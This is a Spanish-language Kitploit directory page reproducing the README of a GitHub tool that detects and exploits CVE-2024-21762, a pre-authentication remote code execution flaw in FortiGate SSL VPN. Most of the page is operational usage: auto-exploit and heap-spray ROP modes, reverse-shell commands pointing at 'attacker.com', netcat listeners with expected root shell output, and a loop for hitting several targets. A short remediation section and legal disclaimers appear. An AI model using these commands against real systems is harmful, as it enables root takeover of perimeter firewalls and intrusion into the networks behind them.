Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/0x13-bytezer0/cve-2024-21762
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHub0x13-bytezer0/cve-2024-21762

CVE-2024-21762

Detecta y explota CVE-2024-21762, una RCE de pre-autenticación en FortiGate SSL VPN, con validación de línea base, explotación automática, modo ROP heap-spray y shell inversa.

Ver Repositorio
hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-21762 - Herramienta de detección y explotación de FortiGate SSL VPN RCE

Python 3.7+ License Vulnerability: Critical

Herramienta de detección y explotación para CVE-2024-21762 - Vulnerabilidad crítica en FortiGate SSL VPN

⚠️ AVISO LEGAL: Esta herramienta es exclusivamente para uso en entornos de prueba autorizados. El uso no autorizado en sistemas es ILEGAL y puede resultar en serias consecuencias legales.

Visión General

CVE-2024-21762 es una vulnerabilidad crítica en componentes FortiGate SSL VPN que permite Remote Code Execution (RCE) pre-autenticación. El fallo existe en un parsing vulnerable de peticiones HTTP con Transfer-Encoding chunked, resultando en out-of-bounds write en el componente sslvpnd.

Detalles Técnicos

AtributoInformación
CVE IDCVE-2024-21762
VulnerabilidadOut-of-bounds write en sslvpnd
TipoRemote Code Execution (RCE) Pre-Autenticación
CVSS Score9.8 (Critical)
Componente AfectadoFortiOS SSL VPN
Versiones Vulnerables7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2

Funcionalidades

✅ Detección de Vulnerabilidad - Identifica FortiGate vulnerables mediante peticiones malformadas
✅ Prueba de Baseline - Verifica comportamiento normal del servidor antes de las pruebas
✅ Modo Automático - Detecta vulnerabilidad y explota automáticamente
✅ Reverse Shell - Soporta reverse shell bash con configuración de IP/puerto
✅ Validación de Entrada - Valida IPs y puertos antes de la explotación
✅ Informes Detallados - Genera informes con recomendaciones de remediación
✅ Manejo Robusto de Errores - Gestión segura de conexiones y excepciones

Requisitos

  • Python 3.7 o superior
  • Módulos estándar de la biblioteca Python (socket, ssl, argparse, datetime, time, re)
  • Acceso de red al objetivo (puerto 443 o personalizado)

Instalación

root@kitploit:~
# Clone el repositorio
git clone https://github.com/su-usuario/CVE-2024-21762.git
cd CVE-2024-21762

# Verifique la sintaxis
python -m py_compile EXPLOIT.py

# Ejecute el script
python EXPLOIT.py -h

Uso

Uso Básico

root@kitploit:~
# Prueba simple de detección
python EXPLOIT.py 192.168.1.100

# Con puerto personalizado
python EXPLOIT.py 192.168.1.100 -p 8443

# Con timeout aumentado
python EXPLOIT.py 192.168.1.100 --timeout 20

Modo Automático (Detección + Explotación)

root@kitploit:~
# Modo automático con reverse shell preconfigurado
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444

# Modo automático sin credenciales (pide interactivamente)
python EXPLOIT.py 192.168.1.100 --auto

Modo ROP - Explotación Avanzada con Heap Spray

El modo ROP implementa una explotación de dos etapas con heap spray para objetivos específicos (FortiOS 7.4.2):

root@kitploit:~
# Explotación ROP con reverse shell Node.js
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242

# Con puerto personalizado
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242

# Con timeout aumentado para objetivos lentos
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30

Flujo de Explotación ROP:

  1. Etapa 1: Envío de heap spray de 1.8MB con gadgets ROP
  2. Espera 2 segundos para que la CPU procese
  3. Etapa 2: Trigger del OOB write con chunk de 4137 bytes
  4. Espera 3 segundos para ejecución del payload
  5. Conexión reversa Node.js establecida

En su servidor de escucha:

root@kitploit:~
# Linux/Mac/Windows con netcat
nc -lnvp 4242

# Salida esperada:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)

⚠️ Nota Importante: El modo ROP está optimizado para FortiOS 7.4.2.F-build2571. Otras versiones pueden no funcionar debido a los offsets hardcodeados del ROP chain.

Prueba Manual con Reverse Shell

root@kitploit:~
# Enviar payload de reverse shell
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999

# Combinación de múltiples opciones
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15

Opciones Disponibles

root@kitploit:~
positional arguments:
  target                    Target hostname o IP a probar

optional arguments:
  -h, --help               Muestra este mensaje de ayuda
  -t, --target HOSTNAME    Target hostname o IP (alternativo)
  -p, --port PORT          Puerto SSL VPN (por defecto: 443)
  --timeout SECONDS        Timeout en segundos (por defecto: 10)
  -li, --lhost IP          IP local para recibir reverse shell
  -lp, --lport PORT        Puerto local para recibir reverse shell
  --no-baseline            Salta prueba de baseline
  --auto                   Modo automático: detecta y explota
  --rop                    Modo ROP: explotación avanzada con heap spray (FortiOS 7.4.2)
  -v, --version            Muestra versión del script

Ejemplos de Uso Completos

1. Detección Simple

root@kitploit:~
python EXPLOIT.py 192.168.1.100

Resultado esperado en caso de vulnerabilidad:

root@kitploit:~
[+] Iniciando prueba de vulnerabilidad...
[!] ¡VULNERABLE DETECTADO!
[!] Servidor cerró conexión abruptamente
[!] STATUS: VULNERABLE

2. Explotación Automática con Reverse Shell

root@kitploit:~
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444

En su servidor:

root@kitploit:~
# Linux/Mac
nc -lnvp 4444

# Windows
ncat -lnvp 4444

3. Prueba en Múltiples Objetivos

root@kitploit:~
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
  python EXPLOIT.py $target --timeout 15
done

Cómo Funciona

Flujo de Detección

  1. Baseline Test - Envía petición HTTP normal para verificar comportamiento estándar
  2. Malformed Request - Envía petición HTTP malformada con chunked encoding vulnerable
  3. Analysis - Analiza la respuesta para detectar señales de vulnerabilidad:
    • Cierre abrupto de conexión
    • Timeout/crash del servidor
    • TLS Alerts anormales
  4. Report - Genera informe con estado y recomendaciones

Flujo de Explotación (Modo Automático)

  1. Ejecuta prueba de detección
  2. Si es vulnerable, inyecta payload de reverse shell
  3. Espera conexión reversa
  4. Genera informe final

Indicadores de Vulnerabilidad

La herramienta considera un objetivo vulnerable cuando detecta uno de los siguientes comportamientos:

  • ✓ Conexión cerrada abruptamente (Empty reply)
  • ✓ Timeout después de enviar payload (servidor crash)
  • ✓ TLS Alert recibido (sslvpnd crashed)
  • ✓ Connection Reset by Peer

Versiones Afectadas

VersiónDetecciónROP ModeEstado
FortiOS 7.0.0 - 7.0.13✅ Sí❌ No⚠️ VULNERABLE
FortiOS 7.2.0 - 7.2.6✅ Sí❌ No⚠️ VULNERABLE
FortiOS 7.4.0 - 7.4.1✅ Sí❌ No⚠️ VULNERABLE
FortiOS 7.4.2 (build≤2571)✅ Sí✅ Sí⚠️ VULNERABLE
FortiOS 7.4.3+❌ No❌ No✅ CORREGIDO

Remedición

Acciones Inmediatas

  1. Actualizar FortiOS a versión corregida:

    • FortiOS 7.0.14+
    • FortiOS 7.2.7+
    • FortiOS 7.4.3+
  2. Aislamiento Temporal

    • Deshabilitar acceso externo al SSL VPN
    • Restringir acceso administrativo
  3. Monitoreo

    • Revisar logs para señales de explotación
    • Verificar credenciales y accesos anormales

Verificación Posterior

root@kitploit:~
# Verificar versión de FortiOS
python EXPLOIT.py su-fortinet.com

Si el resultado muestra "NO VULNERABLE", el parche se aplicó con éxito.

Estructura del Proyecto

root@kitploit:~
CVE-2024-21762/
├── EXPLOIT.py          # Script principal de explotación
├── README.md           # Este archivo
├── LICENSE             # Licencia MIT
└── .gitignore          # Configuración Git

Métodos de la Clase

CVE2024_21762_Detector

MétodoDescripción
test_vulnerability()Prueba la vulnerabilidad enviando petición malformada
exploit(lhost, lport)Explota la vulnerabilidad con reverse shell
test_baseline()Prueba el comportamiento normal del servidor
generate_report()Genera informe final con estado
_create_ssl_context()Crea contexto SSL reutilizable
_create_socket_connection()Crea conexión TLS segura
_close_socket(sock)Cierra socket de forma segura
_is_valid_ip(ip_str)Valida formato de IP

Manejo de Errores

La herramienta implementa:

  • ✓ Validación robusta de entrada
  • ✓ Manejo de excepciones SSL/TLS
  • ✓ Timeout en conexiones
  • ✓ Cierre seguro de sockets
  • ✓ Mensajes de error descriptivos

Limitaciones

  • ⚠️ Requiere conectividad de red al objetivo
  • ⚠️ Detecta vulnerabilidad pero no garantiza explotación exitosa
  • ⚠️ Reverse shell depende del entorno objetivo (requiere bash)
  • ⚠️ No funciona con firewall restrictivo

FAQ

P: ¿Se puede usar en entorno Windows?
R: Sí, el script Python funciona en Windows, pero el reverse shell bash estándar no funcionará. Necesitaría un payload personalizado.

P: ¿Cómo sé si la explotación fue exitosa?
R: Verifique la máquina escuchando por el reverse shell (nc/ncat). El script mostrará mensajes indicando el progreso.

P: ¿Puedo usar contra múltiples objetivos?
R: Sí, puede crear un script en bash/PowerShell para iterar sobre una lista de IPs.

P: ¿Cuál es la diferencia entre modo normal y automático?
R: El modo automático explota automáticamente si se encuentra vulnerabilidad. El modo normal solo detecta.

Contribuyendo

¿Encontró un error o tiene sugerencias? ¡Abra un issue o haga un pull request!

Licencia

Este proyecto está licenciado bajo la Licencia MIT - vea el archivo LICENSE para más detalles.

Disclaimer

Este software se proporciona "tal cual" con fines de investigación y pruebas autorizadas. Los autores no son responsables por:

  • Daños causados por el uso no autorizado
  • Pérdida de datos
  • Impacto en sistemas de producción
  • Consecuencias legales del uso no autorizado

USE RESPONSABLEMENTE Y SOLO EN ENTORNOS AUTORIZADOS

Referencias

  • Fortinet Security Advisory
  • NVD - CVE-2024-21762
  • CVSS Calculator

Autor

Desarrollado con fines educativos y de investigación en seguridad cibernética.


⚠️ Recuerde: Use esta herramienta solo en sistemas que posea o tenga autorización explícita para probar. La explotación no autorizada es un delito.

Descargar herramienta